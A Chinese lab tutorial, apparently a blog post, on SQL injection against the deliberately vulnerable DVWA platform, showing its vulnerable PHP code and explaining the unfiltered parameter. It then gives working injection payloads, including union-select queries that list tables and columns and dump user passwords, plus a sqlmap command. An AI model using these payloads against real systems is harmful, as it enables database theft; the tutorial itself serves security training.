DVWA漏洞演练平台 - SQL注入

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.

接下来你需要自行搭建DVWA的漏洞演练环境,我这里使用的系统环境是:Centos 7 + PHP 7 + MariaDB 5.5 + DVWA 1.10

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if( isset($_REQUEST [ 'Submit' ])){
    // 根据ID号取出相应的字段
    $id = $_REQUEST[ 'id' ];
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
    // 循环获取返回结果,并将其打印到屏幕上
    $num = mysql_numrows( $result );
    $i = 0;
    while( $i < $num ) {
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        $i++;
    }
    mysql_close();
}
?>

上面的代码就是低安全级别的核心代码了,观察后发现第5行,在查询语句的构建中并没有检查$id参数是否合法,而是直接带入到了数据库中进行了查询,很明显这里存在SQL注入漏洞可以直接利用.

当我们在输入框中输入1的时候,PHP解释器将会把 $id 替换成 1 ,实际上后台执行的SQL语句如下:

SELECT first_name, last_name FROM users WHERE user_id = '1';

由于PHP代码中并没有对 $id 参数进行合法化的过滤,导致我们可以巧妙地使用单引号完成SQL语句的闭合,并通过使用and,or,union 等命令拼接构建好的恶意SQL并带入数据库执行,如下我们可以这样构建一条具有闭合功能的SQL语句:

user_id = '$id' ----> $id = '1' and '1'='1' ---->  最终语句为: 1' and '1'='1

 

判断注入点:1.首先输入and 1=1 返回了结果,输入and 1=0 返回空,说明存在注入点。

 

判断字段数: 使用order by 判断字段数,输入order by 1显示正常,但输入order by 3 显示则错误,说明只有两个字段。

 

获取数据库敏感信息:

 

读取主机敏感文件:

 

获取数据库中的表:  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

获取指定表中的字段: 0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

 

脱库: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

 

获取登陆后的Cookie:

 

F12调试模式,登录成功后,可看到cookie

 

 

随便输入用户名密码,点击登录跳转到登录页面。

 

 

修改,将上方得到的cookie填充到此处,此处我的cookie是;

 

 放行数据,即可登录完成。

 

保存下面的数据包,然后放入sqlmap根目录。

 

 

直接使用 sqlmap.py -r post.txt -p id --dbs 完成注入演示。

 

posted @   lyshark  阅读(966)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?

8951808 | 6896846
博客园 - 开发者的网上家园

点击右上角即可分享
微信分享提示